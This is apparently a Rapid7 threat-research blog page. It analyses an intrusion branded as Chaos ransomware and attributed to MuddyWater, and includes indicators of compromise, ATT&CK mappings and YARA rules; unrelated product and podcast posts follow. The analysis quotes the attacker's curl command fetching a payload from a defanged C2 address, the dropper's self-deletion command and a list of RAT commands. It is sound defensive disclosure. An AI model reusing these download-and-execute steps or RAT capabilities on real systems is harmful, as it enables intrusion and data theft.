Active since February 2025, Chaos is a ransomware-as-a-service (RaaS) operation specializing in big-game hunting (BGH) attacks against high-profile organizations, with reported ransom demands reaching up to $300,000. Despite the name, it is distinct from the Chaos malware builder identified in 2021. The group emerged shortly after the July 2025 law enforcement disruption of BlackSuit infrastructure during Operation Checkmate and is likely composed of former BlackSuit and/or Royal members. To expand its operations, Chaos advertises its affiliate program on cybercrime forums, such as RAMP (prior to its takedown) and RehubCom.

Chaos relies heavily on social engineering and remote access abuse to gain initial access. Rapid7 observed techniques that include spam email flooding combined with voice-based phishing (vishing), often involving impersonation of IT support personnel. Chaos then persuades victims to grant remote access via legitimate tools such as Microsoft Quick Assist, allowing operators to establish an initial foothold.

In line with common ransomware practices, Chaos typically employs double extortion, exfiltrating sensitive data prior to encryption and threatening public disclosure via its data leak site (DLS). The group has also demonstrated triple extortion by threatening distributed denial-of-service (DDoS) attacks against the victim's infrastructure. These capabilities are reportedly offered to affiliates as part of bundled services, representing a notable feature of its RaaS model. Additionally, Chaos has been observed leveraging elements of quadruple extortion, including threats to contact customers or competitors to increase pressure on victims.

A distinguishing characteristic of the group’s DLS is the use of a “blind” countdown timer, which withholds the victim’s identity until expiration, likely intended to accelerate negotiations (Figure 1). As of late March 2026, Chaos has claimed 36 victims and maintained a consistent operational tempo (Figure 2). The group predominantly targets organizations in the United States, with a particular focus on the construction, manufacturing, and business services sectors (Figure 3).

Chaos-DLS-screenshot.png
Figure 1: Screenshot from Chaos’ DLS

chart-claimed-victims.png
Figure 2: Number of claimed victims over time

geographic-victim-distribution.png
Figure 3: Geographic victim distribution

Incident overview

The intrusion that Rapid7 investigated began with a targeted social engineering campaign leveraging Microsoft Teams, where the threat actor (TA) engaged employees through external chat requests. By operating interactively through compromised users, the attacker conducted initial discovery, harvested credentials, including MFA manipulation, and quickly transitioned to using legitimate accounts for internal access.

From there, the TA established persistence using remote access tools such as DWAgent and AnyDesk, before deploying additional payloads and further control of the environment. Following this, the TA exfiltrated data from the compromised environment and subsequently contacted the victim via email, claiming data theft and initiating ransom negotiations (Figure 4).

 

FixedDiagram.jpg
Figure 4: Incident breakdown

Initial Access via social engineering and remote interaction

The TA achieved initial access through social engineering conducted via Microsoft Teams, where they initiated one-on-one chats with users from a controlled account. During these interactions, the TA established screen-sharing sessions, gaining direct visibility and interactive access to user assets.

While connected, the TA executed basic discovery commands, accessed files related to the victim’s VPN configuration, and instructed users to enter their credentials into locally created text files. In at least one instance, the TA deployed a remote management tool (AnyDesk) to further facilitate access.

ipconfig /all
nslookup
net start
whoami
ping

Figure 5: Discovery commands executed by the TA

Credential harvesting and account compromise

A key component of the intrusion involved interactive credential harvesting: The TA explicitly instructed victims to enter credentials into locally created text files (credentials.txt, cred.txt) and to modify MFA configurations to include attacker-controlled devices.

Additionally, Rapid7’s analysis of browser artifacts revealed access to the URL hxxps[://]adm-pulse[.]com/verify.php.

The URL mimicked a Quick Assist themed phishing page, indicating credential harvesting through impersonation.

Establishing initial foothold and remote access

Following credential compromise, the TA authenticated to internal systems, including a Domain Controller, using multiple compromised accounts. They then established persistent remote access through RDP sessions and deployment of the remote management tool DWAgent. The DWAgent installation chain included:

File name

Description

dwagent.exe

Remote access tool

pythonw.exe

Cmd version of python interpreter

dwagsvc.exe

DWAgent service

dwaglnc.exe

Background component of DWAgent

Table 1: Files observed during installation of DWAgent

Payload delivery and execution

The TA later executed commands via RDP to download additional payloads using curl:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

After the download, the TA executed the binary ms_upd.exe, initiating a multi-stage infection chain. 

Upon successful execution, ms_upd.exe downloaded additional components:

File name

SHA256

Description

WebView2Loader.dll

a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

Legitimate DLL

Game.exe

1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

Backdoor granting the TA access to the infected machine

visualwincomp.txt

c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

Encrypted configuration

Table 2: Components downloaded by ms_upd.exe

Lateral movement 

The TA expanded access within the environment by leveraging compromised accounts and establishing remote access channels. They used RDP sessions to move between systems, allowing them to operate interactively and access additional resources within the network.

Extortion activity and data leak claims

The TA distributed emails to multiple users, alleging successful data exfiltration, and provided a .onion link for negotiation. Open-source intelligence (OSINT) collection identified a corresponding entry on the Chaos DLS referencing data; however, all identifying details were redacted, as per the group’s typical “blind” countdown timer. 

A subsequent email introduced a new contact address and instructed recipients to locate a note allegedly placed within their Desktop directory containing “access credentials” for a secure chat. Rapid7 conducted a threat hunt across all assets that focused on files created or accessed within Desktop directories and subdirectories and did not identify any artifacts consistent with the TA’s claims. The victim further validated the affected user systems and confirmed the absence of such files. Despite these inconsistencies in the initial proof-of-compromise, the TA later published the stolen data on its DLS in line with modern extortion tactics. The victim confirmed that the leaked data was legitimate.

Malware analysis

ms_upd.exe 

The binary functions as a downloader that begins by collecting basic host information, including computer name, username, and domain. This data is used to generate a unique client identifier, concatenating computer name, username, and tick count, which is sent to the C2 server moonzonet[.]com via a /register request, followed by periodic /check requests to determine the execution flow.

Based on the C2 response, the malware either proceeds when receiving an “approved” status or retries registration, if instructed. Once approved, it reports a “downloading” status and prepares a working directory under the user’s Downloads folder (falling back to C:\Users\Public\Downloads if necessary).

The dropper then retrieves three payload components from the C2:

  • Game.dll (saved as WebView2Loader.dll)

  • Game.exe

  • Game.config (saved as visualwincomp.txt)

If all downloads succeed, the malware reports a “running” status and executes the primary payload - Game.exe. Execution success is monitored, with the result communicated back to the C2 as either “success” or “error”. Upon successful execution, the dropper triggers a self-deletion routine via a delayed command cmd.exe /c ping 127.0.0.1 -n 6 > nul && del /f /q \"%s\".

ms-upd-main-function-snippet.png
Figure 6: Snippet from the main function of ms_upd.exe

As seen in Figure 6, the malware doesn’t use any form of obfuscation to hide its purpose - API imports are statically resolved, and strings are stored in a plaintext form. This simplicity suggests the tool was likely developed for limited or single-use deployment.

At the time of writing, only two samples have been observed in public repositories, both exhibiting identical functionality.

Game.exe

Game.exe is a custom RAT that masquerades as a legitimate Microsoft WebView2 application. Analysis of the binary's PDB path C:\Users\pc\Downloads\WebView2Samples-main\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb confirms that the developer trojanized the official Microsoft WebView2APISample project: https://github.com/MicrosoftEdge/WebView2Samples/tree/main/SampleApps/WebView2APISample

The malware deviates from the dropper in a way that it implements some obfuscation and anti analysis techniques: 

ATT&CK ID

Technique

Purpose

Example

T1027.007

Dynamic API and DLL resolution

Hide the malware functionality

Usage of LoadLibraryA() and GetProcAddress() APIs

T1027

String Obfuscation

Hide sensitive strings from AV solutions

Names of DLLs, APIs, registry paths

T1497.001

Sandbox Detection

Search for known analysis-related DLLs that are loaded into the current process

sbiedll.dll, dbghelp.dll, api_log.dll, vmcheck.dll,  wpespy.dll

T1497.001

Virtual Machine Detection via CPU

Compare the processor name string against a list of virtualization-related keywords

Virtual, VMWare, KVM, Hyper-V

T1082 

Removable Drive Enumeration

Enumerate logical drives and check if any removable drives are present

Usage of GetLogicalDrives() and GetDriveTypesA() to enumerate logical drives and compare their type against DRIVE_REMOVABLE

T1497.003 

Sleep / Timing Check

Identify sandbox time-skipping mechanisms or identify hooked timing APIs

GetTickCount() followed by Sleep(1000) and another GetTickCount() to verify if approximately one second elapsed

Table 3: Anti analysis / anti detection techniques used by Game.exe

If the malware does not detect an analysis environment,, it establishes persistence by self-installing into a randomized directory under C:\ProgramData\visualwincomp-<random>\, where it copies itself alongside a legitimate WebView2Loader.dll and an encrypted configuration file, visualwincomp.txt.

Additionally, the malware enforces single execution on an infected host by registering the mutex ATTRIBUTES_ObjectKernel.

The RAT decrypts its configuration using AES-256-GCM to extract the attacker’s C2 server hostname uploadfiler[.]com and port 443. The malware first registers the victim by sending registration information such as computer name, username, and privilege level to the /home endpoint. Once registered, it enters an infinite loop polling /index.php every 60 seconds. The RAT features 12 core capabilities including arbitrary command execution via hidden cmd.exe or encoded PowerShell sessions; file uploads with retry logic; file deletion; and the establishment of persistent interactive shells. Command results and execution status are reported back to the /profile endpoint. 

Command

Description

run_cmd

Execute command via cmd.exe 

run_powershell

Execute command via PowerShell 

upload

Write base64-encoded file

upload_chunk

Chunked file upload with append mode

delete_file

Delete a file

cmd_start

Start interactive cmd.exe shell

cmd_input

Send input to interactive shell

cmd_stop

Stop interactive shell

ps_start

Start interactive PowerShell

ps_input

Send input to PowerShell

ps_stop

Stop interactive PowerShell

re_register

Re-register with a new agent_id

Table 4: Supported commands of the RAT


The malware design is unorthodox, characterized by an inconsistent approach to concealment. While it utilizes XOR encoding (key: 0xAB) to hide specific anti-analysis strings, such as VM detection keys and sandbox-related DLL names, critical indicators like file paths, RAT command strings, and JSON registration formats are left in plaintext. 

This inconsistency extends to its interaction with the Import Address Table (IAT). While the malware dynamically resolves certain sensitive APIs at runtime, such as CreateMutexA, other highly suspicious functions like CreatePipe and CreateProcessA remain statically linked. Notably, the developer dynamically loads the Sleep API via GetProcAddress despite it already being statically imported in the IAT.

These architectural discrepancies suggest the author is likely an unseasoned developer. The mixture of static imports and visible strings provides significant telemetry for AV and EDR solutions to identify and stop the threat (confirmed during the incident response).

Similar to ms_upd.exe during the hunt on public malware sharing platforms, we were able to find another sample (SHA256 3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90), implementing the same logic as Game.exe but masquerading itself as WebView2.exe.

Attribution remains challenging due to the absence of specialized attack patterns or known APT delivery vectors, such as NSIS used by Chinese APTs:

However, the presence of a specific signing Certificate and work of other threat researchers made it easier.

Certificate

While the TA adopted the Chaos Ransomware brand to project a cybercriminal identity, the underlying infrastructure reveals a signature previously associated with infrastructure linked to the Iranian Ministry of Intelligence and Security (MOIS). The primary technical bridge to the APT group MuddyWater (Seedworm) is the code-signing certificate used to validate the malware samples.

During the analysis of the downloader (ms_upd.exe), we identified a consistent digital signature:

Field

Value

Name

Donald Gay

Issuer

Microsoft ID Verified CS AOC CA 02

Algorithm

sha384RSA

Thumbprint

B674578D4BDB24CD58BF2DC884EAA658B7AA250C

Serial Number

33 00 07 9A 51 C7 06 3E 66 05 3D 22 9B 00 00 00 07 9A 51

Status

Time-invalid (revoked shortly after deployment)

Table 5: Certificate details

The "Donald Gay" certificate is a known shared resource within MuddyWater’s toolkit. Alongside its frequent companion, "Amy Cherne," this identity forms a distinct cluster of Iranian MOIS-affiliated infrastructure. According to threat intelligence reports from March and April 2026, this specific certificate has been tied directly to MuddyWater’s "Operation Olalampo," a campaign targeting organizations across the U.S. and the MENA (Middle East and North Africa) regions. Historically, this identity was also used to sign Stagecomp (ms_upd.exe), a downloader for the Darkcomp backdoor (Game.exe), both of which are firmly attributed to MuddyWater by multiple global security vendors.

Beyond the certificate, other technical artifacts solidify this attribution:

  • Infrastructure overlap: The domain moonzonet[.]com, which served as the C2 for ms_upd.exe, was linked to MuddyWater in early 2026 during a wave of activity targeting Israeli and Western organizations.

  • Execution tradecraft: The group’s signature use of pythonw.exe to inject code into suspended processes remains a consistent hallmark of their deployment chain.

  • Social engineering technique: The use of interactive Microsoft Teams sessions to harvest MFA and credentials aligns closely with the "IT Support" persona MuddyWater has refined throughout 2026.

Attribution: The "Chaos" masquerade

The convergence of technical and contextual evidence is consistent with attribution to MuddyWater with moderate confidence. The observed use of Chaos ransomware does not indicate a shift in the group’s underlying objectives, but rather reflects a consistent effort to obscure operational intent and complicate attribution. While attribution evasion is a common characteristic of state-affiliated actors, MuddyWater’s reported increase in operational activity as of early 2026, primarily involving cyber espionage and potential prepositioning for disruptive operations across Western and Middle Eastern networks, has likely intensified its reliance on deceptive false-flag operations.

This assessment aligns with previously observed behavior. In late 2025, MuddyWater was linked to activity involving the Qilin RaaS ecosystem in an operation targeting an Israeli organization. Following the subsequent public attribution of that incident to the MOIS, it is plausible that the group adopted alternative ransomware branding, in this case Chaos, in an effort to reduce attribution risk and maintain a degree of plausible deniability.

The use of a RaaS framework in this context may enable the actor to blur distinctions between state-sponsored activity and financially motivated cybercrime, thereby complicating attribution. Furthermore, the inclusion of extortion and negotiation elements could serve to focus defensive efforts on immediate impact, likely delaying the identification of underlying persistence mechanisms established via remote access tools such as DWAgent or AnyDesk.

Notably, the apparent absence of file encryption, despite the presence of Chaos ransomware artifacts, represents a deviation from typical ransomware behavior. This inconsistency may indicate that the ransomware component functioned primarily as a facilitating or obfuscation mechanism, rather than as the primary objective of the intrusion. This deviation highlights a mismatch between typical profit-driven ransomware behavior and the actor’s apparent espionage objectives. It further suggests a likely explanation for the inconsistent data provided by the TA as an initial proof-of-compromise. 

Taken together, these technical indicators and procedural inconsistencies are indicative of a targeted, state-sponsored intrusion masquerading as opportunistic extortion activity.

Conclusion

This incident highlights the increasing convergence between state-sponsored intrusion activity and cybercriminal tradecraft. While the operation incorporated recognizable elements of ransomware campaigns, such as extortion messaging and leak site publication, the absence of encryption and the presence of established espionage techniques suggest that financial gain was unlikely to be the primary objective.

The assessed link to MuddyWater indicates a continued evolution in the group’s operational approach, including the apparent use of RaaS ecosystems and branding to obscure attribution. This aligns with broader trends in which state-aligned actors adopt criminal tactics to introduce ambiguity and delay defensive response.

This case underscores the importance of looking beyond overt ransomware indicators. Defenders should also focus on the underlying intrusion lifecycle. Techniques such as social engineering via enterprise communication platforms, credential harvesting with MFA manipulation, and the abuse of legitimate remote access tools remain critical enablers of compromise.

Ultimately, this activity is best understood as a hybrid intrusion model, in which ransomware is leveraged not as an end goal but as a mechanism for concealment, coercion, and operational flexibility within a broader intelligence-driven campaign.

For additional blog posts and detailed analysis from Rapid7 Labs on all things cyber-related to the conflict, please visit our Iran Conflict Cyber Threat Intelligence Hub.

Rapid7 Customers

Indicators of compromise (IoCs)

File indicators

File Name

SHA 256

Description

ms_upd.exe

24857fe82f454719cd18bcbe19b0cfa5387bee1022008b7f5f3a8be9f05e4d14

Initial Downloader ms_upd.exe

DIDS.exe

a92d28f1d32e3a9ab7c3691f8bfca8f7586bb0666adbba47eab3e1a8faf7ecc0

Initial Downloader found during hunt on public repositories

Game.exe

1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

RAT found during hunt on public repositories

WebView2.exe

3df9dcc45d2a3b1f639e40d47eceeafb229f6d9e7f0adcd8f1731af1563ffb90

RAT

visualwincomp.txt

c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

Encrypted config holding C2 url and port information

WebView2Loader.dll

a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

DLL downloaded by ms_upd.exe

dwagent.exe

cd098eddb23f2d2f6c42271ca82803b0d5ac950cb82a9b8ae0928e83945a53df

Remote Management Tool leveraged by the TA

dwagent.exe

cf3dfd1d6626fd2129abb7a5983c11827f4b0d497e2dba146a1889bd71f23cd5

Renamed pythonw.exe

dwagsvc.exe

a3bac548b5bc91c526b4d6707623ddbd1a675aa952f0d1f9a0aa6f7230f09f23

Service binary of DWService

dwaglnc.exe

86e0197389f0573eb83ff53991f337d416124c7c8bd727721ef3d396cd5f65dc

Background and system tray binary of DWService

AnyDesk.exe

bfc1675ee1e358db8356f515aaded7962923e426aa0a0a1c0eddfc4dab053f89

Remote Management Tool leveraged by the TA

Network indicators

Indicator

Description

adm-pulse[.]com

Quick Assist themed phishing website

moonzonet[.]com

URL hosting a second stage RAT Game.exe

uploadfiler[.]com

C2 extracted from a config file visualwincomp.txt

77.110.107[.]235

Source IP address of malicious Microsoft Teams activity

93.123.39[.]127

Source IP address of malicious Microsoft Teams activity

172.86.126[.]208

C2 hosting initial downloader ms_upd.exe

116.203.208[.]186

IP contacted by renamed pythonw.exe

hptqq2o2qjva7lcaaq67w36jihzivkaitkexorauw7b2yul2z6zozpqd[.]onion

Chaos RaaS DLS

MITRE ATT&CK techniques

ATT&CK ID

Name

Use

T1566

Phishing (Spearphishing via Service)

Initial access via Microsoft Teams messages and social engineering

T1059

Command and Scripting Interpreter

Execution of discovery commands (ipconfig, whoami, etc.)

T1082

System Information Discovery

Gathering host-level information from compromised machines

T1016

System Network Configuration Discovery

Identifying network configuration via commands like ipconfig

T1078

Valid Accounts

Use of harvested credentials for authentication and access

T1056

Input Capture

Users entering credentials into attacker-directed files/pages

T1556

Modify Authentication Process

MFA manipulation to add attacker-controlled devices

T1021.001

Remote Services: RDP

Remote access to internal systems via RDP sessions

T1219

Remote Access Tools

Use of DWAgent and AnyDesk for persistence and control

T1543

Create or Modify System Process

Installation of DWAgent as a service

T1055

Process Injection / Proxy Execution

Abuse of renamed Python binary for execution

T1105

Ingress Tool Transfer

Downloading payloads via curl (ms_upd.exe)

T1041

Exfiltration Over C2 Channel

Data exfiltration to external infrastructure

T1027

Obfuscated/Encrypted Files or Information

Encrypted configuration (visualwincomp.txt)

T1497

Virtualization/Sandbox Evasion

Anti-VM checks in Game.exe

T1622

Debugger Evasion

Evasion techniques to avoid analysis

T1071

Application Layer Protocol

C2 communication over web protocols

T1573

Encrypted Channel

Encrypted communication with C2 infrastructure

T1133

External Remote Services

VPN access using compromised accounts

T1087

Account Discovery

Identifying user accounts via commands

T1018

Remote System Discovery

Enumerating systems in the network

YARA rules

rule MuddyWaterRAT{

	meta:
		author = "Ivan Feigl ivan_feigl@rapid7.com"
		description = "Hunting rule for the RAT used by the MuddyWater, based on plain text string. Original sample MD5 F8560B9A893EEB2130FC7159E9C1B851"

strings:


		//TKP - Token privilege 
		$TKP1 = "System"
		$TKP2 = "Admin"
		$TKP3 = "User"

        // DF - Data format
		$DF1 = "\"computer_name\":\""
		$DF2 = "\"username\":\"" 
		$DF3 = "\"domain\":\"" 
		$DF4 = "\"local_ip\":\"127.0.0.1\"" 
		$DF5 = "\"privilege\":\"" 
		$DF6 = "\"process_name\":\"agent-" 
		$DF7 = "\"version\":\"E.1.0\"" 
		$DF8 = "\"sleep_time\":60" 


        //IAT - Import address table
        $IAT1   = "GetComputerNameA"
        $IAT2   = "GetUserNameA"
        $IAT3   = "NetWkstaGetInfo"
        $IAT4   = "NetApiBufferFree"
        $IAT5   = "AllocateAndInitializeSid"
        $IAT6   = "OpenProcessToken"
        $IAT7   = "GetTokenInformation"
        $IAT8   = "EqualSid"
        $IAT9   = "CheckTokenMembership"

        //MSC - misc
        $MSC1 = "re_register"
        $MSC2 = "cmd_id"
        $MSC3 = "cmd_id"
        $MSC4 = "run_cmd"
        $MSC5 = "cmd_line"
        $MSC6 = "run_powershell"

		condition:
			uint16(0) == 0x5A4D  and all of($TKP*) and all of($DF*) and all of($IAT*) and all of ($MSC*) 
}

rule MuddyWaterDownloader{

	meta:
		author = "Ivan Feigl ivan_feigl@rapid7.com"
		description = "Hunting rule for the downloader used by the MuddyWater, based on plain text string. Original sample MD5 439C0A0A46627BD166E08436F383AD56"

	strings:


		//ST - Status
		$ST1 = "downloading"
		$ST2 = "running"
		$ST3 = "success"
		$ST4 = "error"

		//SFF - Scanf formats
		$SFF1 = "EXIT_%lu"
		$SFF2 = "RUN_%lu"
		$SFF3 = "DL_%s"

		//ICO - Internet communication operation 
		$ICO1 = "/register" ascii wide
		$ICO2 = "/check" ascii wide
		$ICO3 = "/status" ascii wide
        $ICO4 = "GET" ascii wide
        $ICO5 = "POST" ascii wide
        $ICO6 = "CONN_ERR" ascii wide
        $ICO7 = "REQ_ERR" ascii wide
        $ICO8 = "SEND_ERR" ascii wide
        $ICO9 = "RECV_ERR" ascii wide
        $ICO10 = "HTTP_%lu" ascii wide

        //FO - File operation
        $FO1 = "wb"
        $FO2 = "EMPTY"
        $FO3 = "FILE_ERR"

        // DF - Data format
        $DF1 = "\"client_id\":\"%s\""
        $DF2 = "\"status\":\"%s\""
        $DF3 = "\"error_code\":\"%s\""

        //IAT - Import address table
        $IAT1   = "GetLastError"
        $IAT2   = "Sleep"
        $IAT3   = "WinHttpOpen"
        $IAT4   = "WinHttpConnect"
        $IAT5   = "WinHttpOpenRequest"
        $IAT6   = "WinHttpSendRequest"
        $IAT7   = "WinHttpReceiveResponse"
        $IAT8   = "WinHttpReadData"
        $IAT9   = "WinHttpCloseHandle"
        $IAT10  = "DeleteFileA"



		condition:
			uint16(0) == 0x5A4D  and all of($ST*) and all of($SFF*) and all of($ICO*) and all of ($FO*) and all of ($DF*) and all of ($IAT*)
}

Experts on Experts: The 2026 Threat Landscape is Moving Faster than Defenders Expect

29 April 2026 at 08:27

This week on Experts on Experts, I’m joined by Christiaan Beek, Rapid7’s VP of Threat Analytics, to talk through what we’re seeing in the 2026 threat landscape and how it connects to recent research coming out of Rapid7 Labs.

We start with the report, but quickly move into what’s already playing out in active campaigns. What stands out is not a change in attacker technique, but the pace. Weak credentials, missing MFA, exposed services, and unpatched systems still drive most intrusions. What has changed is how quickly those conditions are identified and exploited, and that shift is forcing security teams to rethink how they prioritize and respond.

The window to act is disappearing

One of the clearest themes in the conversation is timing. The issue is no longer how many vulnerabilities exist, but how quickly they are being used. The gap between disclosure and exploitation has narrowed to a matter of days in many cases, which removes the buffer teams used to rely on.

At the same time, most intrusions still begin with familiar conditions. Identity and access remain consistent weaknesses, with missing MFA and exposed remote access continuing to provide reliable entry points. What has changed is how those weaknesses are used. Access is now packaged and sold through a broader ecosystem, which increases both the speed and scale of attacks.

Access, persistence, and trusted systems

We also look at how attacker behaviour is evolving beyond initial access. In some environments, the goal is no longer immediate disruption but long-term presence. That changes how teams should think about detection, because finding activity is only the starting point. Understanding how long access has existed and what has already happened becomes just as important.

At the same time, attacks are concentrating inside systems organizations rely on every day. Identity platforms, cloud environments, and collaboration tools are all becoming key targets. The challenge is that activity in these systems often looks legitimate, which makes it harder to distinguish between normal behaviour and something that requires investigation.

AI is accelerating what already works

AI is part of this shift, but not because it introduces entirely new attack paths. What it does is make existing techniques faster and easier to scale, particularly in areas like social engineering and reconnaissance. Attackers can generate and adapt campaigns quickly, while defenders are dealing with increasing volumes of data.

That creates a simple but important shift. Security teams are not falling behind because they lack tools, but because the timing of attacks has changed and their processes have not kept up. The focus now is on understanding exposure earlier, prioritizing what matters, and preparing actions in advance.

Watch the full episode below to hear Christiaan’s perspective on how these trends are evolving and what they mean for security leaders heading into 2026.

What’s New in Rapid7 Products and Services: Q1 2026 in Review

9 April 2026 at 08:46

If product releases had a runway moment, Q1 at Rapid7 would’ve walked out in Cloud Dancer; crisp, confident, and quietly powerful, before breaking into a full gallop in the Year of the Horse. At Rapid7, our first-quarter launches combined velocity with refinement: meaningful enhancements designed to move security teams faster without adding complexity. Let’s cover off the key launches, one by one.

Detection and response

MDR for Microsoft

Getting more value from the tools you already have is an objective shared by all of us. For many of you, that translates to achieving greater security operations outcomes and resilience from your Microsoft technology. With MDR for Microsoft, organizations correlate their Microsoft, Rapid7, and third-party telemetry with prioritized risk context so the service can anticipate attacks before they start. 

AI-powered triage and investigations – backed by unlimited incident response that ensures threats are fully eradicated – delivers certainty in an uncertain attack environment. Dedicated advisory provides strategic recommendations and program hardening guidance that drives long-term security resilience. Customers ultimately experience security operations excellence and achieve stronger outcomes from their existing Microsoft foundation.

Read the blog to learn more.

Rapid7-MDR-for-Microsoft-chart.png
MDR for Microsoft explained

Rapid7 acquires Kenzo Security

The acquisition of Kenzo Security marks another step forward for the Rapid7 Command Platform and Rapid7’s vision for preemptive, AI-powered security operations. In an environment where most security teams are forced to leave large volumes of alerts uninvestigated, Kenzo’s agentic AI capabilities are expected to help accelerate Rapid7 from AI-assisted workflows toward AI-driven, machine-speed operations. Designed around specialized AI agents that work together across security operations tasks, this technology has the potential to reduce manual strain, broaden investigative coverage, and deliver more consistent, precise outcomes.

An average Kenzo customer reported a 94% reduction in investigation time, and their alert coverage increased from 12% to 100%. As these capabilities are brought into MDR, Managed Threat Complete, InsightIDR, and Incident Command, customers will benefit from a stronger, more scalable approach to cyber defense.

Incident Command

User to Identity mapping

Connecting user activity to full identity context is critical for faster, more confident investigations. With User to Identity mapping in Incident Command, analysts can seamlessly link SIEM users to their corresponding identity profiles, gaining instant visibility into MFA status, account posture, and group memberships. By unifying detection and exposure data, teams eliminate manual reconciliation and close visibility gaps across the identity attack surface. This enables faster triage, deeper insight into user risk, and a complete, connected view of identity-driven threats.

user-to-identity-mapping-rapid7-incident-command.png
User to Identity mapping within Incident Command


AI-Powered Log Entry Summary

AI-powered Log Entry Summary brings instant clarity to even the most complex log data. By translating raw log lines into a simple “who, what, when, where, and why” framework, analysts can quickly uncover insights without needing to interpret vendor-specific syntax or business logic. This removes the cognitive burden from investigations and hunts, allowing teams to spot threats faster across all data sources. Teams benefit from accelerated triage, more efficient investigations, and smarter decisions driven by clear, actionable context.

ai-powered-log-entry-summary.png
Instant context with AI Log Entry summary

Exposure management

Cloud Runtime Security (application detection and response)

Earlier this year, we made a significant announcement that Rapid7 had partnered with ARMO to add AI-powered cloud application detection and response (CADR) – or cloud runtime security – to our cloud security portfolio. We are thrilled to announce that these capabilities are now integrated with Rapid7 Exposure Command Ultimate. For our customers, this milestone represents our ability to deliver on the promise of a complete cloud-native application protection platform (CNAPP) that helps security teams preemptively identify and proactively thwart attacks. If you’re interested in learning more about this latest innovation to our cloud security portfolio, reach out to one of our account executives.

cloud-runtime-security-rapid7.png
Runtime security delivering real-time visibility across cloud-native and containerized workloads

Top Remediation Report in Remediation Hub

Understanding which remediations to prioritize is only part of the process, teams also need asset-level detail to act. Top Remediations Report adds that context in Remediation Hub, with customizable filters, shared visibility across teams, and automated scheduling for recurring delivery to key stakeholders in CSV, HTML, or PDF. The result is faster coordination, clearer ownership, and quicker remediation progress.

Remediation Bulk Export API

We understand that organizations need to customize reporting for various stakeholders and levels across their business to drive effective vulnerability remediation and communicate security posture. One of the ways that organizations address this need is through our powerful cloud-based API, which enables teams to extract and export large amounts of security data into external tools like Tableau or PowerBI. Customers can export security data at scale, including assets, vulnerabilities, remediations and agent-based policy data, resulting in more flexible reporting and querying.

Data Security Posture Management (DSPM)

Understanding which exposures threaten sensitive data is difficult when data security and exposure insights live in separate tools. A partnership between Rapid7 and Symmetry Systems brings those perspectives together on Exposure Command, aligning sensitive data intelligence with real attacker reachability. DSPM capabilities discover sensitive data and map identity access, helping teams prioritize remediation based on breach impact.

Read the blog to learn how aligning data and exposure reduces breach risk.

automated-sensitive-data-discovery.png
Automated Sensitive Data Discovery: See how PII, PHI and Financial Data is flagged

Attack surface management

Dynamic External Attack Surface Discovery

Your attack surface doesn’t stand still, and point-in-time visibility can leave teams chasing what’s already changed. Dynamic EASM Discovery helps Surface Command automatically identify and track changes across the external attack surface by ingesting domain and IP data from across the environment. The result is more current visibility, fewer blind spots, and stronger confidence that teams are prioritizing and validating the exposures that matter most.

Read the blog to see how Dynamic EASM Discovery helps teams keep pace with a changing attack surface.

rapid7-command-platform-easm-seed-data.png
The Rapid7 Command Platform displaying your EASM seed data

Platform and Labs

Rapid7 Command Platform

We’re excited to introduce a centralized way to programmatically access data across all managed tenants with new multi-tenant API keys. For organizations managing multiple environments, tenants, or customers, integrating with each one individually has traditionally required significant manual effort, creating, maintaining, and rotating separate API keys for every tenant. This not only slows down development but also increases operational overhead and the risk of inconsistency.

With this new capability, you can build a single integration that seamlessly “loops” through tenants automatically, enabling consistent data access and streamlined workflows at scale. Whether you’re aggregating data for reporting, powering automation, or integrating with third-party tools, multi-tenant API keys simplify the process and reduce complexity, freeing up your teams to focus on higher-value tasks instead of repetitive configuration. Read all about it in our blog

Rapid7 Labs

The latest threat research reports from Rapid7 Labs

This quarter Rapid7 Labs continued to deliver critical insights into the evolving threat landscape, uncovering how attackers are adapting their tactics – from stealthy, long-term intrusions to increasingly targeted and data-driven attacks. Our latest research reports highlight the growing complexity of modern threats and the real-world risks facing organizations today. Explore the findings below to better understand what’s changing and what it means for your security strategy.

  • BPFdoor in Telecom Networks: Sleeper Cells in the Backbone: Rapid7 uncovered a long-running espionage campaign in which a China-nexus threat actor, Red Menshen, embedded stealthy “sleeper cells” inside global telecommunications networks using the BPFdoor backdoor. Operating at the Linux kernel level, this malware enables persistent, hard-to-detect access without typical network signals, allowing attackers to monitor communications, subscriber data, and critical infrastructure over time. The research highlights a shift from opportunistic attacks to deliberate, long-term pre-positioning inside core systems that underpin global connectivity, raising national-level risk.

  • 2026 Global Threat Landscape Report: The latest report from Rapid7 Labs delivers an in-depth analysis of global adversary behavior, drawing on telemetry from Rapid7 MDR investigations, vulnerability intelligence, and frontline incident response. This year’s findings highlight a rapidly evolving threat environment, marked by the collapse of the window between vulnerability disclosure and exploitation, the continued industrialization of ransomware operations, and the acceleration of modern attacks through the use of AI.

  • Executives’ Digital Footprints Threat Report: Today, 60% of an executive’s digital risk exposure is retrievable through surface web searches, including public records, professional history, and social media activity — all of which can be weaponized for highly targeted attacks. The Executive Digital Footprints Threat Report from Rapid7 Labs details how these executive digital footprints are an often overlooked threat vector that can be exploited, posing risks to the executive, their families, and organizations.

Exposing the Chrysalis Backdoor

Last month, Rapid7 uncovered the Chrysalis backdoor, a sophisticated supply chain attack that leveraged the Notepad++ update mechanism to selectively target organizations with a stealthy, persistent backdoor. This discovery highlights the growing risk of trusted software being weaponized and the real-world impact of advanced, targeted campaigns that can evade traditional defenses, reinforcing the importance of continuous monitoring and validating third-party software behavior in today’s threat landscape. Learn more about the Chrysalis backdoor here, and see more details on its impact and what you can do next here.

Cyber threat activity related to the Iran conflict

Rapid7 is actively monitoring cyber threat activity related to the Iran conflict, providing support for our customers and the cybersecurity community. Review observed activity, official advisories, and recommended defensive actions here.

Announcing Metasploit Pro 5.0.0

